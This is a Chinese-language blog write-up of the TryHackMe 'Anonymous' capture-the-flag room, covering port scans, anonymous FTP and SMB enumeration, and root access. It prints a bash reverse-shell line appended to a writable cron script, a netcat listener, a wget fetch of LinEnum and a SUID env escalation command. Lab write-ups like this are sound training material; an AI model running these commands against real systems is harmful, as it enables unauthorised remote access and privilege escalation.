[Day10] THM Anonymous

今天来解比较综合的题目,Try Hack Me 上面的 Anonymous。

扫 Port

  • 扫 Port 起手式
    • rustscan -a 10.10.142.45 -r 1-65535 --ulimit 5000
      • 发现有开的 Port 是
      • 22 , 21 , 139 , 445
    • nmap -A -p21,22,139,445 10.10.142.45
      • 21 : FTP
        • VSFTPD 2.0.8
      • 22 : SSH
      • 139: SMB
      • 445: SMB

FTP

  • 尝试连接 ftp
    • ftp 10.10.142.45 使用 anonymous 登入
    • 发现里面有一个 scripts 资料夹
      • 先把里面所有档案都载下来
        • 下载 FTP 的档案可以用 get {档名}
  • 观察档案
    • clean.sh
      • 看起来是一段 清除资料的 bash script
    • removed_files.log
      • 看起来东西都是空的,是上述脚本的输出
    • to_do.txt
      • 看起来没有很重要

SMB

  • 尝试连线 SMB
    • 发现有一个 pics 资料夹
    • 里面有两张图片
    • 把两张图片载下来
      • 一样可以使用 get 指令
  • 观察图片
    • 看起来是狗勾!
    • 用 Exif tool 观察
      • 可以看出 Photoshop 编辑过
    • 但这些图片貌似看不出什麽蛛丝马迹

弱点利用

  • 突然想到,说不定 ftp 上面的 clean.sh 是一个 cron job
    • 也就是说,它可能定时会执行一次
    • 我们既然有对 FTP 的读写的权限,可以在上面戳个 reverse shell 再传上去
    • echo bash -c "'bash -i >& /dev/tcp /10.13.21.55/7877 0>&1'" >> clean.sh
    • 本地端开 nc -nlvp 来接
  • 成功接上ㄌ
    • 取得 User flag

提权

  • 起手式 sudo -l
    • 看起来没东西 QQ
  • 准备 Linenum 自动化枚举程序
    • wget 10.13.21.55:8000/LinEnum.sh
    • 扫到了 /usr/bin/env 有 suid
  • 透过 GTFOBins 寻找 env SUID 提权
    • 发现输入 /usr/bin/env /bin/sh -p 即可提权
  • 成功提权
    • 取得 Root Flag

心得

这一题告诉了我们,观察可以读写的 bash shell 档案,如果刚好遇到 Cron job,就有机会可以写入 Reverse shell。另外也可以透过自动化枚举程序,快速的找到可以用来提权的弱点。


<<:  C# 入门之格式化输出字符串

>>:  Day 10: 人工智慧在音乐领域的应用 (机器学习/深度学习与类神经网路一)

[Day18]ISO 27001 附录 A.6 资讯安全之组织

A.6 资讯安全之组织 A.6.1 内部组织 A.6.1.1 资讯安全之角色及责任 应定义及配置所有...

[Day 29] Final Project (5/5) — 部署 App 到 Google App Engine

前情提要 昨天我们成功将模型部署到 Google AI Platform 上,并且也处理了授权的问题...

day 24 - 失控的浮点数, decimal套件介绍

在写程序的过程, 多多少少会遇到需要复杂处理的状况, Go的优点是很多使用情境已经有前人帮忙整理成套...

Day 12 - Length of Last Word

大家好,我是毛毛。ヾ(´∀ ˋ)ノ 废话不多说开始今天的解题Day~ 58. Length of L...